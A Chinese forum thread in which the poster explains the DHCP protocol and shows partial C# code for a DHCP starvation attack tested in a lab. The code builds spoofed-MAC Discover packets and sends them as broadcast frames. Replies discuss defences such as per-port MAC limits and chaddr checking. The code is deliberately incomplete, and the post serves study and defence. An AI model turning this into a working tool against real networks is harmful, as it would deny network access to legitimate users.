wap6575 发表于 2021-6-24 16:34

DHCP协议原理分析与饥饿攻击的实现

本帖最后由 wap6575 于 2021-6-24 16:45 编辑



本文首发于我的个人博客,遵守版规,博客地址就不贴出来了

## 有以下基础的同学'食用'效果最佳
- 网络基础知识
- 开发基础知识
**本文章仅做学习记录和交流,不提供任何成品**
## 实验过程用到的工具
- WinPcap          用于二层网络发包
- SharpPcap      C#调用WinPcap的开源nuget包
- Visual Studio   开发工具
- WireShark       抓包工具
- Linux服务器    充当傀儡机(DHCP服务器)

## DHCP协议介绍

> DHCP(动态主机配置协议)是一个局域网的网络协议。指的是由服务器控制一段IP地址范围,客户机登录服务器时就可以自动获得服务器分配的IP地址和子网掩码。

## DHCP交互过程
![交互过程图](https://img-blog.csdnimg.cn/20210624142251227.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzNjkwMw==,size_16,color_FFFFFF,t_70#pic_center)
1. DHCP客户端向DHCP服务器请求分配ip地址时会发送discover广播报文
2. DHCP服务器收到discover请求报文后,响应携带空闲IP、租约时间、网关、DHCP服务器IP等信息的offer报文。根据discover报文内的Bootp flags标识选择广播或单播响应
3. DHCP客户端收到DHCP服务端offer报文后根据报文内携带的空闲IP发起request报文请求
4. DHCP服务端收到DHCP客户端的request报文后,正常情况下会响应ack报文,将该空闲IP分配给DHCP客户端
[百度百科解析](https://baike.baidu.com/item/DHCP/218195?fromtitle=DHCP%E5%8D%8F%E8%AE%AE&fromid=1989741&fr=aladdin#%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86)


## DHCP报文格式
!(https://img-blog.csdnimg.cn/20210624143855367.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzNjkwMw==,size_16,color_FFFFFF,t_70#pic_center)
报文各字段描述篇幅过长,这里不再赘述,详见:
[百度百科 DHCP报文格式介绍](https://baike.baidu.com/item/DHCP/218195?fromtitle=DHCP%E5%8D%8F%E8%AE%AE&fromid=1989741&fr=aladdin#%E5%B0%81%E5%8C%85%E6%A0%BC%E5%BC%8F)
## DHCP饥饿攻击

> 攻击原理:攻击者通过伪造MAC地址持续大量地向DHCP服务器申请IP地址,直到耗尽DHCP服务器地址池的IP地址,使DHCP服务器无法再给正常的主机分配IP地址,使得正常主机不能访问网络。
> 进阶攻击:攻击者可以伪造DHCP服务器分配ip地址给客户机,实现中间人攻击(可以通过DHCP Snooping防御)

## DHCP攻击思路
##### 攻击交互过程
1. 伪造MAC、主机名,构建发送DHCP_Discover攻击报文
2. 根据DHCP服务器响应的DHCP_Offer报文取得预分配的IP地址(DHCP数据报文的yiaddr字段)和DHCP服务器IP地址
3. 取DHCP_Offer报文的yiaddr字段的IP地址和DHCP服务器IP地址,构建发送DHCP_Request攻击报文
4. DHCP服务器响应DHCP_Ack,成功分配IP(非法占用IP)
##### 攻击报文生成过程
TCP/IP四层结构模型数据生成
1. 生成应用层数据-->DHCP数据包(DATA)
2. 生成传输层数据-->UDP数据包(PORT)
3. 生成网络层数据-->IP数据包(IP)
4. 生成接口层数据-->物理层数据包(MAC)
##### 数据封装过程
![封装过程图示](https://img-blog.csdnimg.cn/20210624154541507.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzNjkwMw==,size_16,color_FFFFFF,t_70#pic_center)
## 编码实战
由于篇幅有限、代码放出会造成不必要的危害。故不展示全部具体实现方法,只摘取部分关键代码。
实现过程中还有报文校验码计算等功能,这里就不展示了
```csharp
                /// 构建DHCP_Discover数据报文
      /// </summary>
      /// <param name="xid">DHCP事务id</param>
      /// <param name="V_address">请求分配ip的Mac地址(伪造)</param>
      /// <param name="hostname">主机名</param>
      /// <returns>DHCP_Discover数据报文字节数组</returns>
      private byte[] DHCP_Discover_Packet(byte[] xid, PhysicalAddress V_address, string hostname)
      {
            byte[] data = new byte[]{
            0x01, 0x01, 0x06, 0x00,//客户端发送给DHCP服务器
            0x30, 0x7b, 0x44, 0xb6,//事务ID。客户端发起一次请求时选择的随机数,用来标识一次地址请求过程
            0x00, 0x00, 0x80, 0x00,//secs & flags,flags 08 00 让dhcp广播回复
            0x00, 0x00, 0x00, 0x00,//ciaddr
            0x00, 0x00, 0x00, 0x00,//yiaddr
            0x00, 0x00, 0x00, 0x00,//siaddr
            0x00, 0x00, 0x00, 0x00,//giaddr
            0x6a, 0xdd, 0x07, 0xcf, 0x50, 0x42,//chaddr的MAC
            //为方便阅读,省略部分过长报文
            0x63, 0x82, 0x53, 0x63,//Magic cookie: DHCP
            0x35, 0x01, 0x01,//Option: (53) DHCP Message Type (Discover)
            0x3d, 0x07, 0x01,//Option: (61) Client identifier,Length: 7,Hardware type: Ethernet (0x01)
            0x6a, 0xdd, 0x07, 0xcf, 0x50, 0x42,//Option: (61) Client identifier,MAC地址
            0x0c,//Option: (12) Host Name
            0x0f,//Option: (12) Host Name,下面主机名的长度,Length
            0x44, 0x45, 0x53, 0x4b, 0x54, 0x4f, 0x50, 0x2d, 0x46, 0x43, 0x35, 0x41, 0x32, 0x39, 0x42,//Option: (12) Host Name,主机名
            0x3c, 0x08, 0x4d, 0x53, 0x46, 0x54, 0x20, 0x35, 0x2e, 0x30,//Option: (60) Vendor class identifier
            0x37, 0x0e, 0x01, 0x03, 0x06, 0x0f, 0x1f, 0x21, 0x2b, 0x2c, 0x2e, 0x2f, 0x77, 0x79, 0xf9, 0xfc,//Option: (55) Parameter Request List
            0xff,//Option: (255) End
            };
            
            写入事务ID
            写入MAC
            写入hostname
                        return data;
       }
```

```csharp
               /// <summary>
      /// 生成DHCP二层通讯报文
      /// </summary>
      /// <param name="address">物理网卡地址</param>
      /// <param name="baseData">DHCP报文数据</param>
      /// <returns>返回DHCP二层通讯报文</returns>
      public EthernetPacket Create_Packet(PhysicalAddress address, byte[] baseData, ushort IP_Identification)
      {
            //构建UDP报文,DHCP使用UDP协议67和68端口
            UdpPacket udpData = UDP_Packet(68, 67, baseData);

            //构建IP报文。发送广播请求IP地址
            IPPacket ipData = IP_Packet(IPAddress.Parse("0.0.0.0"), IPAddress.Parse("255.255.255.255"), IP_Identification, udpData);

            //构建二层报文,二层广播报文目的MAC地址为6个FF
            EthernetPacket ethData = Eth_Packet(address, new PhysicalAddress(new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }), ipData);

            return ethData;
      }
```

```csharp
               /// <summary>
      /// 发送攻击数据报
      /// </summary>
      private void Send_Attack_Packet()
      {
            ConstructingPackets constructingPackets = new ConstructingPackets();

            byte[] xid = Get_Random_Xid();//随机事务id
            PhysicalAddress v_mac = new PhysicalAddress(Get_Random_MAC());//虚拟mac地址
            string hostname = Get_Random_Hostname();//虚拟主机名

            EthernetPacket data = constructingPackets.Create_DHCP_Discover(device.MacAddress, xid, v_mac, hostname, IP_Identification);//构建数据包

            device.SendPacket(data.Bytes);//发包
         
            Console.WriteLine("发包成功 DHCP_Discover --> xid = {0} , mac = {1} , hostname = {2} ", r_xid, v_mac, hostname);
            Console.WriteLine();

      }
```

## 攻击效果展示
通过程序批量发送10个请求discover和request报文,成功占用10个ip地址,图中取第一个报文做效果展示![攻击效果](https://img-blog.csdnimg.cn/2021062416154625.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzNjkwMw==,size_16,color_FFFFFF,t_70#pic_center)
查看DHCP服务器的ip分配信息,可以看到地址池的ip已经被占用。
!(https://img-blog.csdnimg.cn/20210624162048789.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzNjkwMw==,size_16,color_FFFFFF,t_70#pic_center)
## 结论
实验过程中攻击家用路由器、linux搭建的DHCP服务器均有效。由于DHCP服务器的IP地址池被非法攻击占满后,新增的设备发送dhcp_discover请求,DHCP服务器不再响应任何报文。

*文中如果有错误欢迎各位大佬指正*

kkelay 发表于 2021-6-24 17:21

限制端口可以学习到的MAC地址数,并配置学习到的MAC地址数达到最大值时,丢弃源MAC地址不在MAC地址表里的报文,能够避免攻击者申请过多的IP地址,在一定程度上阻止了DHCP饿攻击。此时,不存在DHCP饿死攻击的端口下的DHCP客户端可以正常获取IP地址,但存在DHCP饿死攻击的端口下的DHCP客户端仍可能无法获取IP地址。

如果封装DHCP请求报文的数据帧的MAC地址都相同,则通过mac-address max-mac-count命令无法防止DHCP饿攻击。在这种情况下,需要开启DHCP 服务器的MAC地址检查功能。开启该功能后,DHCP服务器检查接收到的DHCP请求报文中的chaddr字段和数据帧的源MAC地址字段是否一致。如果一致,则认为该报文合法,进行后续处理;如果不一致,则丢弃该报文

sam喵喵 发表于 2021-6-24 16:46

这个是不是类似DDOS,有没CPP版本源码学习啊

wap6575 发表于 2021-6-24 16:50

sam喵喵 发表于 2021-6-24 16:46
这个是不是类似DDOS,有没CPP版本源码学习啊

和ddos不是同一个范围

kkelay 发表于 2021-6-24 17:18

PORT+IP+MAC绑定能解决,不过太麻烦了,每个都得绑

DayBreak 发表于 2021-6-24 18:15

静态ip,mac绑定可以解决这个问题吗

wap6575 发表于 2021-6-24 19:03

DayBreak 发表于 2021-6-24 18:15
静态ip,mac绑定可以解决这个问题吗

可以解决,但是绑定mac不是最佳做法,工作量巨大

WxuehaiwuyaJ 发表于 2021-7-11 11:22

高级,只是我不懂。谢谢分享!!

catfine 发表于 2022-5-8 11:59

谢谢分享!!
页: [1]
查看完整版本: DHCP协议原理分析与饥饿攻击的实现